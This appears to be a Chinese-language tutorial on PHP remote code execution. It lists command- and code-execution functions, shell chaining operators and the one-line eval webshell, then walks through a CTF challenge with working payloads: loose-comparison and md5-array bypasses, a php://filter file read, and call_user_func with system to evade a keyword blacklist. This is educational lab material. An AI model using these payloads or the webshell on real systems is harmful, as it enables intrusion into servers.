什么是RCE
在应用设计的时候,开发者给用户提供了指定的远程命令操作的接口,如果设计者在开发该功能时,没有做严格的安全控制,会导致用户拼接恶意命令在其中,导致后台意外执行该命令,从而控制整个服务器
RCE的原理
以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。攻击者可以通过RCE继承web用户的权限,执行php代码
RCE中运用的函数
RCE的学习重点就在命令执行函数或者代码执行函数这里
PHP命令执行函数
system()
system — 执行外部程序(命令行),并且显示输出;命令成功后返回输出的最后一行 ,失败返回FALSE。
shell_exec()
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回,如果执行过程中发生错误或者进程不产生输出,则返回 NULL
但是这里并没有执行,是因为在php中默认不给执行shell,要在php.ini中注释掉disable_function:一行才能执行。
exec()
exec() — 执行一个外部程序,返回命令执行结果的最后一行内容,不显示回显 ;如果要显示回显,则需要配合输出函数一起执行或者执行反弹shell
passthru()
passthru — 执行外部程序并且 显示原始输出
popen()
popen(command,mode) — 这个函数能够将执行命令的结果输出,这个函数依赖管道。
echo
echo在PHP中还是要结合反引号来进行命令执行,但是在linux中还可以进行变种的、在文件里输出的操作,相当于写文件操作。
利用echo操作可以进行写马,这里演示的时候利用$ 转义 $ 符号,防止 Shell 将其识别为变量
反引号
反引号可以用来在PHP代码中直接执行系统命令,若要回显,则需要搭配一个echo或者其他的输出函数
花括号
花括号将需要执行的命令包裹起来,如果命令带有参数则需要后面跟一个逗号
命令拼接符
(1) ;注:(&)也是同样的效果
分号,没有任何逻辑关系的连接符。当多个命令用分号连接时,各命令之间的执行成功与否彼此没有任何影响,都会一条一条执行下去。
(2) ||
逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行。
(3) &&
逻辑与,当用此连接符连接多个命令时,前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反。
(4) |
管道符,当用此连接符连接多个命令时,前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错。
(5) %0a(回车符)、%0d(换行符),这两个也可以起到运行下一个命令的作用
PHP代码执行函数
代码执行漏洞和命令执行漏洞的区别不大,主要是输入内容的区别,命令执行直接执行的就是系统命令,而代码执行则是执行的PHP代码。
eval()
执行函数,可以执行各种各样的php函数,就比如一句话木马里的这个函数
<?php @eval($_POST['shell']);?>
preg_replace()
preg_replace(‘正则规则’,’替换字符’,’目标字符’)
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。/e 修饰符使 preg_replace() 将 replacement 参数当作 PHP 代码执行,但是这个功能在PHP 5.5.0 已废弃,PHP 7.0.0 彻底移除
$text = "Hello World";
$result = preg_replace('/World/', 'PHP', $text);
echo $result; // 输出 "Hello PHP"
assert()
assert函数在简单的代码执行中简单的看就是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然加上也可以。
但是这个函数存在代码注入的漏洞,这个涉及到该函数的基础语法
assert(mixed $assertion, string|Throwable $description = ?)
$ assertion是要检查的断言部分,$ description是失败时的提示,断言结果为真时返回 true,否则抛出异常或返回 false。
断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作
代码注入漏洞:
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval()类似。这是一种代码执行。
总结
RCE学习的关键就是利用好这些函数来执行命令或者代码
实操题目演示一下
这题首先需要用get传参一个num,num要求等于123456但同时num不能是个纯数字,看起来好像是矛盾了,由!=发现比较类型是松散比较,根据搜索可以利用php松散漏洞进行绕过;
根据这个松散比较漏洞的逻辑:
当传入123456abc会被强制抓换为123456从而达成条件
接着看第二层:
需要用post传参传入a和b,然后将a和b看做参数执行,后面判断参数a和b不能相同,但是二者md5值要相同;根据搜索,这里可以用传递数组参数,利用 比较md5(x) 均返回 false 的特性来绕过
第三层需要用文件包含来读取f11111ag.php,一般来说读取php代码常用的方法是利用php伪协议来读取,这里构造php伪协议
POST
a[]=1&b[]=2&file=php://filter/convert.base64-encode/resource=f11111ag.php
完整payload:base64解码出来:
<?php
error_reporting(0);
function no($txt) {
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|exec|printf|passthru|proc_open|shell_exec|eval|popen|f/i", $txt)) {
return $txt;
} else {
die("what's up");
}
}
$e = $_POST['e'];
if (isset($_GET['m']) && isset($_GET['n']) && isset($_POST['e'])) {
$param1 = no($_GET['m']);
$param2 = no($_GET['n']);
if (function_exists($e)) {
call_user_func($e, $param1, $param2);
} else {
die("Function not allowed.");
}
} else {
echo "nonono";
}
?>
打开flag.php文件,看到黑名单,发现读取函数有很多黑名单,但是只是过滤nm里的内容,对e没用影响;同时f也被过滤了;
接着看验证逻辑,需要用get传参传m和n,还要用post传参传e;同时会检查m和n,看里面是否含有黑名单字符;这里还看到了个call_user_func()函数,查询后发现其结构是
call_user_func(函数,参数1,参数2)
关键是理解这个函数,通俗地将这个函数中是将原先RCE中的命令给拆分开执行,比如system(‘cat /flag’)在这个函数中的表示为
call_user_func('system', 'cat /flag')
call_user_func()中的函数位只能是php的内置函数,比如system这类的,而cat属于命令,归属在参数一栏,这里可以把函数中的所有命令给看做一个参数归属在一起。
接下来就构造payload:
GET
http://172.16.17.201:50001/f11111ag.php?m=ls /&n=
POST
e=system
因为f被过滤了,所以用*来代替f,去匹配所有1ll4gg结尾的内容
GET
http://172.16.17.201:50001/f11111ag.php?m=c\a\t /chr*1ll4gg&n=
POST
e=system